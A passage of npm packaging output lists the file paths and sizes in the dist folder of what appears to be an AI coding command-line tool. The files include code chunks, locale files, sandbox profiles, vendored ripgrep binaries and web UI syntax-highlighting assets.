npm notice 947B dist/chunks/chunk-OWAK7LMW.js
npm notice 3.2kB dist/chunks/chunk-OXBBGQRS.js
npm notice 392B dist/chunks/chunk-P3QQPMQA.js
npm notice 1.7kB dist/chunks/chunk-P5Y23G2L.js
npm notice 13.1kB dist/chunks/chunk-PDDYAXL2.js
npm notice 536.2kB dist/chunks/chunk-PQP6HJXL.js
npm notice 928B dist/chunks/chunk-Q7YDKOGY.js
npm notice 44.3kB dist/chunks/chunk-QFCYTV6R.js
npm notice 7.6kB dist/chunks/chunk-QHTIBUWB.js
npm notice 1.7kB dist/chunks/chunk-QHWCP53L.js
npm notice 1.5kB dist/chunks/chunk-QL4TN4HS.js
npm notice 17.2kB dist/chunks/chunk-QMBEW7EW.js
npm notice 93.2kB dist/chunks/chunk-QMGX2KO2.js
npm notice 9.2kB dist/chunks/chunk-QONSRAEV.js
npm notice 7.2kB dist/chunks/chunk-QSWDGAIC.js
npm notice 61.0kB dist/chunks/chunk-QUGAUQGJ.js
npm notice 423B dist/chunks/chunk-QUPXZXLV.js
npm notice 13.2kB dist/chunks/chunk-QYPT3QUD.js
npm notice 430B dist/chunks/chunk-RKUWKYED.js
npm notice 1.0kB dist/chunks/chunk-RXFQM6FQ.js
npm notice 66.3kB dist/chunks/chunk-S3I57LTP.js
npm notice 1.4kB dist/chunks/chunk-S6LOFUVP.js
npm notice 70.2kB dist/chunks/chunk-SFWBQXYM.js
npm notice 1.9kB dist/chunks/chunk-SV5PQVQE.js
npm notice 27.4kB dist/chunks/chunk-T3CHYWJZ.js
npm notice 261B dist/chunks/chunk-T26EAKDL.js
npm notice 23.1kB dist/chunks/chunk-TEE7CLKF.js
npm notice 6.8kB dist/chunks/chunk-TGHTJL6X.js
npm notice 20.6kB dist/chunks/chunk-TGW6HRFM.js
npm notice 966B dist/chunks/chunk-TWPJO254.js
npm notice 1.0kB dist/chunks/chunk-TYAMGABM.js
npm notice 2.0kB dist/chunks/chunk-TYERNYH4.js
npm notice 723B dist/chunks/chunk-U25CMJYY.js
npm notice 78.6kB dist/chunks/chunk-UDXSXLER.js
npm notice 12.9kB dist/chunks/chunk-UH7Z7Y45.js
npm notice 1.8kB dist/chunks/chunk-UKZEXS6K.js
npm notice 32.5kB dist/chunks/chunk-ULWAPDDE.js
npm notice 5.2kB dist/chunks/chunk-URJHXOSO.js
npm notice 19.3kB dist/chunks/chunk-URK542T4.js
npm notice 13.6kB dist/chunks/chunk-URN76TKR.js
npm notice 12.8kB dist/chunks/chunk-UWSXFI6E.js
npm notice 5.4MB dist/chunks/chunk-UY5K22XX.js
npm notice 537B dist/chunks/chunk-V6WHFGST.js
npm notice 15.9kB dist/chunks/chunk-VANFXDE5.js
npm notice 10.5kB dist/chunks/chunk-VGC4I5JJ.js
npm notice 870B dist/chunks/chunk-VJNBRRZG.js
npm notice 146.9kB dist/chunks/chunk-VOQXFAY5.js
npm notice 845B dist/chunks/chunk-VWOVHOTT.js
npm notice 459B dist/chunks/chunk-VXZBKKQR.js
npm notice 13.9kB dist/chunks/chunk-W4RQUHY3.js
npm notice 28.0kB dist/chunks/chunk-WK4TJUEA.js
npm notice 10.2kB dist/chunks/chunk-WUC6ZFXO.js
npm notice 17.7kB dist/chunks/chunk-WUEO72P4.js
npm notice 36.0kB dist/chunks/chunk-WVAESIM6.js
npm notice 7.5kB dist/chunks/chunk-XC2VAFVZ.js
npm notice 51.5kB dist/chunks/chunk-XC656O42.js
npm notice 1.9kB dist/chunks/chunk-XCGIMOLN.js
npm notice 6.2kB dist/chunks/chunk-XFQ4AZ65.js
npm notice 195.3kB dist/chunks/chunk-XFSFZCM5.js
npm notice 3.9kB dist/chunks/chunk-XGVZGHKM.js
npm notice 10.0kB dist/chunks/chunk-XJ6FT4OW.js
npm notice 200.7kB dist/chunks/chunk-XJOUCZJY.js
npm notice 2.8kB dist/chunks/chunk-XVRGDI7S.js
npm notice 2.6kB dist/chunks/chunk-XWRJCPHC.js
npm notice 395B dist/chunks/chunk-YAF2MQZ6.js
npm notice 9.4kB dist/chunks/chunk-YAVY33G4.js
npm notice 3.3kB dist/chunks/chunk-YQ3U5MUC.js
npm notice 29.7kB dist/chunks/chunk-YQZR37SF.js
npm notice 4.3kB dist/chunks/chunk-Z4X5MTRT.js
npm notice 203.1kB dist/chunks/chunk-Z6N2XBGN.js
npm notice 47.5kB dist/chunks/chunk-Z7JILXGX.js
npm notice 7.8kB dist/chunks/chunk-ZBVS26BY.js
npm notice 14.8kB dist/chunks/chunk-ZHZWW2GH.js
npm notice 1.5MB dist/chunks/chunk-ZLJQIGCH.js
npm notice 17.8kB dist/chunks/chunk-ZLTA7JJ2.js
npm notice 37.0kB dist/chunks/chunk-ZMTBAZB7.js
npm notice 3.1kB dist/chunks/chunk-ZPJWUGCS.js
npm notice 2.4kB dist/chunks/chunk-ZPPP6VCL.js
npm notice 202B dist/chunks/cli-entry-path-4VJ3Y6T2.js
npm notice 91.1kB dist/chunks/computer-use-DEZM37CA.js
npm notice 600B dist/chunks/config-utils-E3ZQTHGM.js
npm notice 2.5kB dist/chunks/contextCommand-CRWTKRPM.js
npm notice 3.7kB dist/chunks/core-runtime-H53QI6JX.js
npm notice 8.5kB dist/chunks/create-sub-session-6EWLAZD5.js
npm notice 13.2kB dist/chunks/create-sub-session-Z6C7XTBX.js
npm notice 8.9kB dist/chunks/cron-create-CCRIULJE.js
npm notice 2.9kB dist/chunks/cron-delete-FCFW6BGP.js
npm notice 4.5kB dist/chunks/cron-list-QDBVCHRF.js
npm notice 385.1kB dist/chunks/daemon-CCIX4BMG.js
npm notice 2.8kB dist/chunks/daemon-status-provider-LDBG6D6E.js
npm notice 2.7kB dist/chunks/daemon-trust-policy-DIWZR5GR.js
npm notice 5.1kB dist/chunks/daemon-trust-policy-monitor-MKVJFDNU.js
npm notice 137.9kB dist/chunks/de-VL76CPLV.js
npm notice 2.5kB dist/chunks/deferred-core-runtime-NB63YTSU.js
npm notice 747.0kB dist/chunks/devtools-4QFYJT6U.js
npm notice 5.8kB dist/chunks/display-image-GUJA352B.js
npm notice 500.5kB dist/chunks/dist-3BMEUGTG.js
npm notice 22.8kB dist/chunks/dist-7JGAAQSC.js
npm notice 246.3kB dist/chunks/dist-A7H2KKUC.js
npm notice 405.2kB dist/chunks/dist-C5U4LJKW.js
npm notice 4.8MB dist/chunks/dist-DPPHJAVL.js
npm notice 120.4kB dist/chunks/dist-HVBMEYWK.js
npm notice 197.3kB dist/chunks/dist-IKGVITP3.js
npm notice 258B dist/chunks/dist-PZV5RKM6.js
npm notice 130.2kB dist/chunks/dist-SFQ34F4M.js
npm notice 2.5kB dist/chunks/earlyInputCapture-MFZBMCRZ.js
npm notice 33.7kB dist/chunks/edit-E6DUZNYU.js
npm notice 162.9kB dist/chunks/en-IRJ2WN5T.js
npm notice 9.4kB dist/chunks/enter-worktree-7SPF6U6D.js
npm notice 8.4kB dist/chunks/enterPlanMode-QVDSCBMC.js
npm notice 3.0kB dist/chunks/environment-77O6PY5L.js
npm notice 2.6kB dist/chunks/errors-M2YYCEKE.js
npm notice 165.7kB dist/chunks/esm-K5FARBNI.js
npm notice 18.8kB dist/chunks/exit-worktree-HJOQJLG5.js
npm notice 2.3kB dist/chunks/exitPlanMode-UW36RZ5Y.js
npm notice 646B dist/chunks/fast-path-settings-WQJU2LAT.js
npm notice 16.8kB dist/chunks/fast-path-TPTWZBB7.js
npm notice 4.8kB dist/chunks/fileFromPath-UDALK7FM.js
npm notice 142.8kB dist/chunks/fr-GK3HQYVB.js
npm notice 114.7kB dist/chunks/gemini-QIFL7YSK.js
npm notice 10.0kB dist/chunks/geminiContentGenerator-LLLZBOUG.js
npm notice 1.5kB dist/chunks/getMachineId-bsd-FG7IUY6U.js
npm notice 1.5kB dist/chunks/getMachineId-darwin-GLCJI2RA.js
npm notice 1.3kB dist/chunks/getMachineId-linux-O6OPPAKO.js
npm notice 1.0kB dist/chunks/getMachineId-unsupported-S6CKYVGC.js
npm notice 1.7kB dist/chunks/getMachineId-win-X5SRNEH7.js
npm notice 13.6kB dist/chunks/glob-OMXZ42YS.js
npm notice 13.6kB dist/chunks/goal-tools-3AZKX5WQ.js
npm notice 22.8kB dist/chunks/grep-LZDVE527.js
npm notice 2.5kB dist/chunks/handleAutoUpdate-6MYIECFG.js
npm notice 2.8kB dist/chunks/i18n-PZZVQT53.js
npm notice 7.2kB dist/chunks/image-gen-42NKY2UI.js
npm notice 2.6kB dist/chunks/initializer-YBH3322B.js
npm notice 2.4kB dist/chunks/installationInfo-UQUU7M6E.js
npm notice 193.9kB dist/chunks/ja-3FA46IKD.js
npm notice 270B dist/chunks/keychain-token-storage-7BT4TQ2A.js
npm notice 434B dist/chunks/kittyProtocolDetector-BFLAKYXH.js
npm notice 226B dist/chunks/lib-RUF3WZA6.js
npm notice 2.4kB dist/chunks/list-agents-GC4BRET7.js
npm notice 2.7kB dist/chunks/list-XJ3DJG3T.js
npm notice 2.6kB dist/chunks/loadedSettingsAdapter-DZSDDWJQ.js
npm notice 35.7kB dist/chunks/loggingContentGenerator-XTWYNZBF.js
npm notice 6.8kB dist/chunks/loop-wakeup-SQQSBMEY.js
npm notice 1.5MB dist/chunks/lowlight-J2OZNPCA.js
npm notice 9.4kB dist/chunks/ls-63CC3NNX.js
npm notice 35.4kB dist/chunks/lsp-P6NVJVNT.js
npm notice 13.0kB dist/chunks/managed-npm-update-VUOIXGX4.js
npm notice 2.6kB dist/chunks/MaxSizedBox-RE6DHJHY.js
npm notice 2.6kB dist/chunks/mcp-7U7737NP.js
npm notice 22.5kB dist/chunks/monitor-2SHYI6CV.js
npm notice 12.1kB dist/chunks/multipart-parser-AWZKXSQN.js
npm notice 6.5kB dist/chunks/node-UUDY34IG.js
npm notice 4.5kB dist/chunks/nonInteractiveCli-E62OBJTK.js
npm notice 28.3kB dist/chunks/notebook-edit-KXHSHCRD.js
npm notice 1.9kB dist/chunks/openaiContentGenerator-372MK42I.js
npm notice 2.5kB dist/chunks/pidfile-DU2ZZ2MO.js
npm notice 4.3kB dist/chunks/process-registry-2CHQBXH5.js
npm notice 708B dist/chunks/processUtils-YEB46ZVO.js
npm notice 137.3kB dist/chunks/pt-3AOBKPIJ.js
npm notice 8.0kB dist/chunks/qwenContentGenerator-Y4RRYZMN.js
npm notice 1.4kB dist/chunks/qwenOAuth2-4BMFTGFZ.js
npm notice 200B dist/chunks/react-SG7JAQSZ.js
npm notice 764B dist/chunks/read-file-6QQHYDPN.js
npm notice 6.4kB dist/chunks/read-mcp-resource-RTSSEER5.js
npm notice 171.4kB dist/chunks/read-package-up-TCM6I7S2.js
npm notice 530B dist/chunks/record-artifact-L3BAHQFN.js
npm notice 2.8kB dist/chunks/resumeHistoryUtils-KUCIYUI4.js
npm notice 2.3kB dist/chunks/ripGrep-LSVGES6O.js
npm notice 333.9kB dist/chunks/ru-VJRAMC4W.js
npm notice 285.8kB dist/chunks/run-qwen-serve-DHAJUJRO.js
npm notice 3.6kB dist/chunks/runtime-HZG4W2SJ.js
npm notice 11.8kB dist/chunks/scheduler-PAXIYLKG.js
npm notice 906.9kB dist/chunks/sdk-exporters-grpc-54L4LS5L.js
npm notice 20.2kB dist/chunks/sdk-exporters-http-IL2346MJ.js
npm notice 380.1kB dist/chunks/sdk-impl-SYKGVWOZ.js
npm notice 11.3kB dist/chunks/send-message-TL6FIMMN.js
npm notice 2.8kB dist/chunks/serve-RSTZOQP5.js
npm notice 1.3MB dist/chunks/server-NJEXV2CF.js
npm notice 87.0kB dist/chunks/session-2IPOG44O.js
npm notice 3.7kB dist/chunks/settings-4SWXM5X6.js
npm notice 2.5kB dist/chunks/shell-SZL5EXRK.js
npm notice 18.4kB dist/chunks/skill-4I5YVDNK.js
npm notice 2.8kB dist/chunks/skill-settings-63JMHU2N.js
npm notice 2.5kB dist/chunks/spawnChannel-NP4MUVPB.js
npm notice 48.9kB dist/chunks/src-VLI3TKEY.js
npm notice 2.8kB dist/chunks/standalone-update-JGC5C66U.js
npm notice 7.3kB dist/chunks/StandaloneSessionPicker-PMDMIIZY.js
npm notice 1.8MB dist/chunks/startInteractiveUI-32K3PCLA.js
npm notice 314B dist/chunks/stdioHelpers-HGIYTWAY.js
npm notice 368B dist/chunks/syntheticOutput-BN7E626U.js
npm notice 702B dist/chunks/task-create-2X4UP4F3.js
npm notice 4.2kB dist/chunks/task-list-WOLJPZ64.js
npm notice 7.3kB dist/chunks/task-stop-TNXRNAL2.js
npm notice 13.8kB dist/chunks/task-update-VDUSN36E.js
npm notice 13.4kB dist/chunks/team-create-5EJ2HF76.js
npm notice 3.0kB dist/chunks/team-delete-D2VMSDOT.js
npm notice 6.8kB dist/chunks/team-plan-approval-HDVTF5HH.js
npm notice 2.6kB dist/chunks/terminal-image-renderer-WONREM2N.js
npm notice 2.3kB dist/chunks/theme-manager-OD5NAKMK.js
npm notice 16.8kB dist/chunks/todoWrite-MHWHO5UO.js
npm notice 16.4kB dist/chunks/tool-search-WQF46AVM.js
npm notice 2.7kB dist/chunks/total-session-admission-5NZC5WYU.js
npm notice 254.7kB dist/chunks/tree-sitter-7EW4JL6E.js
npm notice 1.9MB dist/chunks/tree-sitter-bash-YGKTQMZY.js
npm notice 157.8kB dist/chunks/tree-sitter-YJVE2ZUK.js
npm notice 2.8kB dist/chunks/trustedFolders-ZCJVZRHL.js
npm notice 592.4kB dist/chunks/turndown.cjs-FZHGMUTY.js
npm notice 472B dist/chunks/types-ML3TRJQ5.js
npm notice 1.1MB dist/chunks/undici-3FJYTMOF.js
npm notice 1.1MB dist/chunks/undici-PYHBDDPN.js
npm notice 2.9kB dist/chunks/update-relaunch-V6UB2ALF.js
npm notice 2.8kB dist/chunks/updateCheck-75FNYROU.js
npm notice 206B dist/chunks/updateEventEmitter-5MKC7BLQ.js
npm notice 2.9kB dist/chunks/useAutoAcceptIndicator-M5YI6HNG.js
npm notice 6.7kB dist/chunks/validateNonInterActiveAuth-LRHMPZ5D.js
npm notice 226B dist/chunks/version-2AOHMPK3.js
npm notice 34.3kB dist/chunks/web-fetch-7A3P3552.js
npm notice 27.3kB dist/chunks/web-search-SCGS7H7J.js
npm notice 93.7kB dist/chunks/workflow-VMQHSOA4.js
npm notice 2.7kB dist/chunks/workspace-providers-status-HCQ6CYFM.js
npm notice 1.0kB dist/chunks/workspace-registration-store-FAD5ZYUH.js
npm notice 2.9kB dist/chunks/workspace-registry-2JWZHK5J.js
npm notice 3.1kB dist/chunks/workspace-service-ZLKKZAOT.js
npm notice 2.7kB dist/chunks/workspace-skills-status-5ODLOPSC.js
npm notice 11.3kB dist/chunks/workspace-trust-reconciler-4RXTHOM7.js
npm notice 2.3kB dist/chunks/write-file-YQFL6LCO.js
npm notice 212.9kB dist/chunks/xterm-headless-NTYVIBT3.js
npm notice 207B dist/chunks/yargs-6H2AUULL.js
npm notice 203.2kB dist/chunks/zh-ARWDLDLR.js
npm notice 194.2kB dist/chunks/zh-TW-Y4RGI3P7.js
npm notice 7.2kB dist/chunks/zoom-image-T3T3LRC4.js
npm notice 12.8kB dist/cli.js
npm notice 2.4kB dist/examples/agent/agents/diary.md
npm notice 122B dist/examples/agent/qwen-extension.json
npm notice 75B dist/examples/commands/commands/fs/grep-code.md
npm notice 129B dist/examples/commands/qwen-extension.json
npm notice 137B dist/examples/context/qwen-extension.json
npm notice 670B dist/examples/context/QWEN.md
npm notice 1.4kB dist/examples/mcp-server/example.ts
npm notice 380B dist/examples/mcp-server/package.json
npm notice 440B dist/examples/mcp-server/qwen-extension.json
npm notice 290B dist/examples/mcp-server/tsconfig.json
npm notice 119B dist/examples/skills/qwen-extension.json
npm notice 1.9kB dist/examples/skills/skills/synonyms/SKILL.md
npm notice 2.4kB dist/examples/starter/agents/diary.md
npm notice 378B dist/examples/starter/commands/writing/polish.md
npm notice 1.8kB dist/examples/starter/example.ts
npm notice 420B dist/examples/starter/package.json
npm notice 250B dist/examples/starter/qwen-extension.json
npm notice 1.2kB dist/examples/starter/QWEN.md
npm notice 2.5kB dist/examples/starter/README.md
npm notice 1.9kB dist/examples/starter/skills/synonyms/SKILL.md
npm notice 290B dist/examples/starter/tsconfig.json
npm notice 28.4kB dist/fzfWorker.js
npm notice 172.8kB dist/locales/ca.js
npm notice 138.1kB dist/locales/de.js
npm notice 164.5kB dist/locales/en.js
npm notice 140.9kB dist/locales/fr.js
npm notice 137.4kB dist/locales/ja.js
npm notice 135.5kB dist/locales/pt.js
npm notice 173.0kB dist/locales/ru.js
npm notice 147.6kB dist/locales/zh-TW.js
npm notice 156.8kB dist/locales/zh.js
npm notice 1.0kB dist/sandbox-macos-permissive-closed.sb
npm notice 899B dist/sandbox-macos-permissive-open.sb
npm notice 1.3kB dist/sandbox-macos-permissive-proxied.sb
npm notice 3.3kB dist/sandbox-macos-restrictive-closed.sb
npm notice 3.4kB dist/sandbox-macos-restrictive-open.sb
npm notice 3.6kB dist/sandbox-macos-restrictive-proxied.sb
npm notice 4.5MB dist/vendor/ripgrep/arm64-darwin/rg
npm notice 4.8MB dist/vendor/ripgrep/arm64-linux/rg
npm notice 126B dist/vendor/ripgrep/COPYING
npm notice 4.7MB dist/vendor/ripgrep/x64-darwin/rg
npm notice 5.7MB dist/vendor/ripgrep/x64-linux/rg
npm notice 5.4MB dist/vendor/ripgrep/x64-win32/rg.exe
npm notice 1.4MB dist/vendor/tree-sitter/tree-sitter-bash.wasm
npm notice 190.8kB dist/vendor/tree-sitter/tree-sitter.wasm
npm notice 18.8kB dist/web-shell/assets/abap-DsBKuouk.js
npm notice 14.6kB dist/web-shell/assets/actionscript-3-D_z4Izcz.js
npm notice 48.5kB dist/web-shell/assets/ada-727ZlQH0.js
npm notice 8.9kB dist/web-shell/assets/andromeeda-C3khCPGq.js
npm notice 17.7kB dist/web-shell/assets/angular-html-LfdN0zeE.js
npm notice 211.8kB dist/web-shell/assets/angular-ts-CKsD7JZE.js
npm notice 13.2kB dist/web-shell/assets/apache-Dn00JSTd.js
npm notice 46.8kB dist/web-shell/assets/apex-COJ4H7py.js
npm notice 24.2kB dist/web-shell/assets/apl-BBq3IX1j.js
npm notice 30.8kB dist/web-shell/assets/applescript-Bu5BbsvL.js
npm notice 7.2kB dist/web-shell/assets/ara-7O62HKoU.js
npm notice 3.4kB dist/web-shell/assets/arc-Dpg66jw7.js
npm notice 149.5kB dist/web-shell/assets/architectureDiagram-3BPJPVTR-BJ4FIBxN.js
npm notice 93.5kB dist/web-shell/assets/asciidoc-BPT9niGB.js
npm notice 40.9kB dist/web-shell/assets/asm-Dhn9LcZ4.js
npm notice 24.1kB dist/web-shell/assets/astro-CqkE3fuf.js
npm notice 13.7kB dist/web-shell/assets/aurora-x-D-2ljcwZ.js
npm notice 5.5kB dist/web-shell/assets/awk-eg146-Ew.js
npm notice 14.9kB dist/web-shell/assets/ayu-dark-Cv9koXgw.js
npm notice 61.6kB dist/web-shell/assets/ballerina-Du268qiB.js
npm notice 13.0kB dist/web-shell/assets/bat-fje9CFhw.js
npm notice 10.8kB dist/web-shell/assets/beancount-BwXTMy5W.js
npm notice 2.4kB dist/web-shell/assets/berry-3xVqZejG.js
npm notice 5.1kB dist/web-shell/assets/bibtex-xW4inM5L.js
npm notice 4.5kB dist/web-shell/assets/bicep-DHo0CJ0O.js
npm notice 108.0kB dist/web-shell/assets/blade-a8OxSdnT.js
npm notice 74.9kB dist/web-shell/assets/blockDiagram-GPEHLZMM-VXmYdtYT.js
npm notice 38.1kB dist/web-shell/assets/bsl-Dgyn0ogV.js
npm notice 74.0kB dist/web-shell/assets/c-C3t2pwGQ.js
npm notice 70.0kB dist/web-shell/assets/c4Diagram-AAUBKEIU-BNLDb8FE.js
npm notice 11.0kB dist/web-shell/assets/cadence-DNquZEk8.js
npm notice 3.0kB dist/web-shell/assets/cairo--RitsXJZ.js
npm notice 45.6kB dist/web-shell/assets/catppuccin-frappe-CD_QflpE.js
npm notice 45.6kB dist/web-shell/assets/catppuccin-latte-DRW-0cLl.js
npm notice 45.6kB dist/web-shell/assets/catppuccin-macchiato-C-_shW-Y.js
npm notice 45.6kB dist/web-shell/assets/catppuccin-mocha-LGGdnPYs.js
npm notice 113B dist/web-shell/assets/channel-Bd9wOnaA.js
npm notice 532B dist/web-shell/assets/chunk-2J33WTMH-DR5yHxr0.js
npm notice 297B dist/web-shell/assets/chunk-4BX2VUAB-Czkq8UZU.js
npm notice 235B dist/web-shell/assets/chunk-55IACEB6-DugUgM6s.js
npm notice 49.1kB dist/web-shell/assets/chunk-727SXJPM-Dw6quA1K.js
npm notice 37.6kB dist/web-shell/assets/chunk-AQP2D5EJ-BoVYOTTz.js
npm notice 366B dist/web-shell/assets/chunk-FMBD7UC4--Amcse-j.js
npm notice 1.9kB dist/web-shell/assets/chunk-ND2GUHAM-ajaEYAC8.js
npm notice 193B dist/web-shell/assets/chunk-QZHKN3VN-CUNDZ7im.js
npm notice 14.6kB dist/web-shell/assets/clarity-BHOwM8T6.js
npm notice 467B dist/web-shell/assets/classDiagram-4FO5ZUOK-XhCT8FE3.js
npm notice 467B dist/web-shell/assets/classDiagram-v2-Q7XG4LA2-XhCT8FE3.js
npm notice 7.1kB dist/web-shell/assets/clojure-DxSadP1t.js
npm notice 10.5kB dist/web-shell/assets/cmake-DbXoA79R.js
npm notice 40.6kB dist/web-shell/assets/cobol-PTqiYgYu.js
npm notice 547B dist/web-shell/assets/codeowners-Bp6g37R7.js
npm notice 33.6kB dist/web-shell/assets/codeql-sacFqUAJ.js
npm notice 27.7kB dist/web-shell/assets/coffee-dyiR41kL.js
npm notice 28.5kB dist/web-shell/assets/common-lisp-C7gG9l05.js
npm notice 6.0kB dist/web-shell/assets/coq-Dsg_Bt_b.js
npm notice 81.5kB dist/web-shell/assets/cose-bilkent-S5V4N54A-BnfkD-m1.js
npm notice 697.5kB dist/web-shell/assets/cpp-BksuvNSY.js
npm notice 33.7kB dist/web-shell/assets/crystal-DtDmRg-F.js
npm notice 87.2kB dist/web-shell/assets/csharp-D9R-vmeu.js
npm notice 53.8kB dist/web-shell/assets/css-BPhBrDlE.js
npm notice 1.2kB dist/web-shell/assets/csv-B0qRVHPH.js
npm notice 17.3kB dist/web-shell/assets/cue-DtFQj3wx.js
npm notice 6.8kB dist/web-shell/assets/cypher-m2LEI-9-.js
npm notice 443.7kB dist/web-shell/assets/cytoscape.esm-CUqq0XTU.js
npm notice 43.0kB dist/web-shell/assets/d-BoXegm-a.js
npm notice 11.4kB dist/web-shell/assets/dagre-BM42HDAG-BuUdFk7Z.js
npm notice 9.1kB dist/web-shell/assets/dark-plus-C3mMm8J8.js
npm notice 7.9kB dist/web-shell/assets/dart-B9wLZaAG.js
npm notice 5.5kB dist/web-shell/assets/dax-ClGRhx96.js
npm notice 8.9kB dist/web-shell/assets/default-aEtf0G7-.svg
npm notice 4.7kB dist/web-shell/assets/defaultLocale-DX6XiGOO.js
npm notice 2.0kB dist/web-shell/assets/desktop-DEIpsLCJ.js
npm notice 6.0kB dist/web-shell/assets/diagram-2AECGRRQ-B2ZXxoab.js
npm notice 2.8kB dist/web-shell/assets/diagram-5GNKFQAL-BsgOICzM.js
npm notice 10.8kB dist/web-shell/assets/diagram-KO2AKTUF-DTTjG6U-.js
npm notice 4.2kB dist/web-shell/assets/diagram-LMA3HP47-temLf1x7.js
npm notice 15.9kB dist/web-shell/assets/diagram-OG6HWLK6-CRFjScs2.js
npm notice 2.6kB dist/web-shell/assets/diff-BgYniUM_.js
npm notice 1.8kB dist/web-shell/assets/docker-COcR7UxN.js
npm notice 1.7kB dist/web-shell/assets/dotenv-BjQB5zDj.js
npm notice 21.1kB dist/web-shell/assets/dracula-BzJJZx-M.js
npm notice 21.1kB dist/web-shell/assets/dracula-soft-BXkSAIEj.js
npm notice 10.6kB dist/web-shell/assets/dream-maker-C-nORZOA.js
npm notice 2.4kB dist/web-shell/assets/edge-D5gP-w-T.js
npm notice 18.3kB dist/web-shell/assets/elixir-CLiX3zqd.js
npm notice 11.3kB dist/web-shell/assets/elm-CmHSxxaM.js
npm notice 804.7kB dist/web-shell/assets/emacs-lisp-BX77sIaO.js
npm notice 2.6kB dist/web-shell/assets/erb-BYTLMnw6.js
npm notice 27.0kB dist/web-shell/assets/erDiagram-TEJ5UH35-D4oaY-rQ.js
npm notice 36.3kB dist/web-shell/assets/erlang-B-DoSBHF.js
npm notice 53.7kB dist/web-shell/assets/everforest-dark-BgDCqdQA.js
npm notice 53.7kB dist/web-shell/assets/everforest-light-C8M2exoo.js
npm notice 4.8kB dist/web-shell/assets/fennel-bCA53EVm.js
npm notice 5.4kB dist/web-shell/assets/fish-w-ucz2PV.js
npm notice 61.2kB dist/web-shell/assets/flowDiagram-I6XJVG4X-BqG8B49b.js
npm notice 3.6kB dist/web-shell/assets/fluent-Dayu4EKP.js
npm notice 1.1kB dist/web-shell/assets/fortran-fixed-form-TqA4NnZg.js
npm notice 98.2kB dist/web-shell/assets/fortran-free-form-DKXYxT9g.js
npm notice 25.8kB dist/web-shell/assets/fsharp-XplgxFYe.js
npm notice 69.3kB dist/web-shell/assets/ganttDiagram-6RSMTGT7-DffQBdd5.js
npm notice 5.5kB dist/web-shell/assets/gdresource-BHYsBjWJ.js
npm notice 18.7kB dist/web-shell/assets/gdscript-DfxzS6Rs.js
npm notice 6.4kB dist/web-shell/assets/gdshader-SKMF96pI.js
npm notice 3.4kB dist/web-shell/assets/genie-ajMbGru0.js
npm notice 12.5kB dist/web-shell/assets/gherkin--30QC5Em.js
npm notice 1.5kB dist/web-shell/assets/git-commit-i4q6IMui.js
npm notice 980B dist/web-shell/assets/git-rebase-B-v9cOL2.js
npm notice 29.9kB dist/web-shell/assets/gitGraphDiagram-PVQCEYII-CMDPfseF.js
npm notice 14.4kB dist/web-shell/assets/github-dark-default-Cuk6v7N8.js
npm notice 11.4kB dist/web-shell/assets/github-dark-DHJKELXO.js
npm notice 14.4kB dist/web-shell/assets/github-dark-dimmed-DH5Ifo-i.js
npm notice 14.6kB dist/web-shell/assets/github-dark-high-contrast-E3gJ1_iC.js
npm notice 11.2kB dist/web-shell/assets/github-light-DAi9KRSo.js
npm notice 14.2kB dist/web-shell/assets/github-light-default-D7oLnXFd.js
npm notice 14.3kB dist/web-shell/assets/github-light-high-contrast-BfjtVDDH.js
npm notice 2.7kB dist/web-shell/assets/gleam-B430Bg39.js
npm notice 20.6kB dist/web-shell/assets/glimmer-js-D-cwc0-E.js
npm notice 20.6kB dist/web-shell/assets/glimmer-ts-pgjy16dm.js
npm notice 3.9kB dist/web-shell/assets/glsl-DBO2IWDn.js
npm notice 14.9kB dist/web-shell/assets/gnuplot-CM8KxXT1.js
npm notice 52.4kB dist/web-shell/assets/go-B1SYOhNW.js
npm notice 23.9kB dist/web-shell/assets/graph-qsFoMdT2.js
npm notice 18.2kB dist/web-shell/assets/graphql-cDcHW_If.js
npm notice 19.6kB dist/web-shell/assets/groovy-DkBy-JyN.js
npm notice 84.7kB dist/web-shell/assets/hack-D1yCygmZ.js
npm notice 8.5kB dist/web-shell/assets/haml-B2EZWmdv.js
npm notice 12.3kB dist/web-shell/assets/handlebars-BQGss363.js
npm notice 43.3kB dist/web-shell/assets/haskell-BILxekzW.js
npm notice 35.3kB dist/web-shell/assets/haxe-C5wWYbrZ.js
npm notice 12.0kB dist/web-shell/assets/hcl-HzYwdGDm.js
npm notice 12.3kB dist/web-shell/assets/hjson-T-Tgc4AT.js
npm notice 7.6kB dist/web-shell/assets/hlsl-ifBTmRxC.js
npm notice 35.4kB dist/web-shell/assets/houston-DnULxvSX.js
npm notice 61.3kB dist/web-shell/assets/html-C2L_23MC.js
npm notice 970B dist/web-shell/assets/html-derivative-CSfWNPLT.js
npm notice 4.7kB dist/web-shell/assets/http-FRrOvY1W.js
npm notice 1.8kB dist/web-shell/assets/hxml-TIA70rKU.js
npm notice 2.8kB dist/web-shell/assets/hy-BMj5Y0dO.js
npm notice 53.5kB dist/web-shell/assets/imba-bv_oIlVt.js
npm notice 3.2MB dist/web-shell/assets/index-2F4RsNzd.js
npm notice 1.1MB dist/web-shell/assets/index-C2GE3DAF.js
npm notice 450.7kB dist/web-shell/assets/index-CaucmEO_.css
npm notice 28.3kB dist/web-shell/assets/index-qTQR_smP.js
npm notice 587B dist/web-shell/assets/infoDiagram-5YYISTIA-Cn3T83MA.js
npm notice 1.5kB dist/web-shell/assets/ini-BjABl1g7.js
npm notice 147B dist/web-shell/assets/init-Gi6I4Gst.js
npm notice 17.6kB dist/web-shell/assets/ishikawaDiagram-YF4QCWOH-ijFs7e25.js
npm notice 27.5kB dist/web-shell/assets/java-xI-RfyKK.js
npm notice 198.0kB dist/web-shell/assets/javascript-ySlJ1b_l.js
npm notice 5.7kB dist/web-shell/assets/jinja-DGy0s7-h.js
npm notice 9.7kB dist/web-shell/assets/jison-BqZprYcd.js
npm notice 23.6kB dist/web-shell/assets/journeyDiagram-JHISSGLW-CINTv8VB.js
npm notice 2.9kB dist/web-shell/assets/json-BQoSv7ci.js
npm notice 3.5kB dist/web-shell/assets/json5-w8dY5SsB.js
npm notice 3.2kB dist/web-shell/assets/jsonc-TU54ms6u.js
npm notice 3.1kB dist/web-shell/assets/jsonl-DREVFZK8.js
npm notice 3.6kB dist/web-shell/assets/jsonnet-BfivnA6A.js
npm notice 3.0kB dist/web-shell/assets/jssm-P4WzXJd0.js
npm notice 201.0kB dist/web-shell/assets/jsx-BAng5TT0.js
npm notice 35.7kB dist/web-shell/assets/julia-BBuGR-5E.js
npm notice 17.1kB dist/web-shell/assets/kanagawa-dragon-CkXjmgJE.js
npm notice 17.1kB dist/web-shell/assets/kanagawa-lotus-CfQXZHmo.js
